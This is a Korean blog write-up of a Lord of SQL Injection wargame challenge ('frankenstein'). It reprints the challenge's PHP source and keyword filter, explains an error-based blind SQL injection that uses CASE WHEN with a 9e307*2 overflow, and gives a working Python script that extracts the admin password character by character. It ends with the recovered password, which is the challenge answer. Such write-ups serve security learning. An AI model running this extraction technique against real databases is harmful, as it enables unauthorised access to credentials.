write-up/LOS write-up

LOS (Lord of SQL injection) 문제 28번 frankenstein write-up

정보보호학과 새내기 2021. 7. 14. 15:45
반응형
SMALL

문제 28번 - frankenstein

 

query : select id,pw from prob_frankenstein where id='frankenstein' and pw=''

<?php
  include "./config.php";
  login_chk();
  $db = dbconnect();
  if(preg_match('/prob|_|\.|\(|\)|union/i', $_GET[pw])) exit("No Hack ~_~");
  $query = "select id,pw from prob_frankenstein where id='frankenstein' and pw='{$_GET[pw]}'";
  echo "<hr>query : <strong>{$query}</strong><hr><br>";
  $result = @mysqli_fetch_array(mysqli_query($db,$query));
  if(mysqli_error($db)) exit("error");

  $_GET[pw] = addslashes($_GET[pw]);
  $query = "select pw from prob_frankenstein where id='admin' and pw='{$_GET[pw]}'";
  $result = @mysqli_fetch_array(mysqli_query($db,$query));
  if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("frankenstein");
  highlight_file(__FILE__);
?>

일단 다른 문제들과 마찬가지로 php 코드가 주어져있다.

 

먼저 필터링함수를 확인하면 prob와 _ , . , ( , ) , union을 필터링하고 i를 통해 대소문자를 구분하지 않는 것을 확인할 수 있다. (union select를 사용하지 못하게 막아놓은 것 같다.)

<?php
  if(preg_match('/prob|_|\.|\(|\)|union/i', $_GET[pw])) exit("No Hack ~_~");
?>

 

clear 조건을 확인해보니 pw를 구해야하는 것을 알 수 있다. pw의 크기를 찾고 파이썬을 통해 pw를 구해야할 것 같다.

<?php
  $_GET[pw] = addslashes($_GET[pw]);
  $query = "select pw from prob_frankenstein where id='admin' and pw='{$_GET[pw]}'";
  $result = @mysqli_fetch_array(mysqli_query($db,$query));
  if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("frankenstein");
  highlight_file(__FILE__);
?>

 

pw를 구하기 위해 코드를 살펴보니 에러가 반환되면 에러문구를 출력하는 코드가 있었다. 즉 error based sql injection을 이용해서 풀라는 것 같다.

<?php
  $query = "select id,pw from prob_frankenstein where id='frankenstein' and pw='{$_GET[pw]}'";
  echo "<hr>query : <strong>{$query}</strong><hr><br>";
  $result = @mysqli_fetch_array(mysqli_query($db,$query));
  if(mysqli_error($db)) exit("error");
?>

 

error based sql injection 중 무슨 에러를 이용할지 생각하다가 이제까지는 select union 을 이용하였는데 union이 필터링 되므로 다른 방법을 찾아보니 mysql에서 바로 에러를 발생시키는 값을 찾아냈다. 9e307*N의 형식(N은 숫자)을 값을 넘기면 logical error를 발생시켰다. 괄호를 사용하지 못하니 if 보다 case when then else를 사용하였다.

 

자리수를 찾지 말고 그냥 최대한 돌려보았다.

 

파이썬에서 사용할 구문은 아래와 같다.

case when id='admin' and pw < '{}%23' then 9e307*2 else 0 end%23".format()

 

이를 이용하여 파이썬 코드를 작성하였는데 비밀번호 뒤에 이상하게 ///가 계속 붙어서 반복되어서 코드를 한번 수정하였다. (파이썬 작업에서 시간이 꽤 오래 걸렸다 ㅠㅠ)

import requests


url="https://los.rubiya.kr/chall/frankenstein_b5bab23e64777e1756174ad33f14b5db.php?"
cookie = dict(PHPSESSID="쿠키값")

result=""
hex_result=""

for i in range(1,20):
    for j in range(48,127):
        query = "pw=1' or case when id='admin' and pw<0x{}{} then 9e307*2 else 0 end%23".format(hex_result,hex(j).split("0x")[1])
        URL = url+query
        res = requests.get(URL, cookies=cookie)
 #       if "./config.php" in res.text:
 #           continue
        if res.text.find("<br>error") == -1:
            k = 1
        if k == 0:
            break
        elif res.text.find("<br>error") != -1:
            result += chr(j-1)
            hex_result += hex(j-1).split('0x')[1]
            print(result)
            k = 0
            break
print("pw :",result)

위 코드를 실행시키니 아래 결과가 나왔다. (위 코드에서 k의 의미는 저 쿼리가 에러를 출력하다가 출력하지 않을 때 해당 값 -1이 pw가 되는 것을 알려주는 의미이다.)

따라서 pw는 0DC4EFBB이므로 0dc4efbb를 입력해준다.

 

solve

https://los.rubiya.kr/chall/frankenstein_b5bab23e64777e1756174ad33f14b5db.php?pw=0dc4efbb

반응형
LIST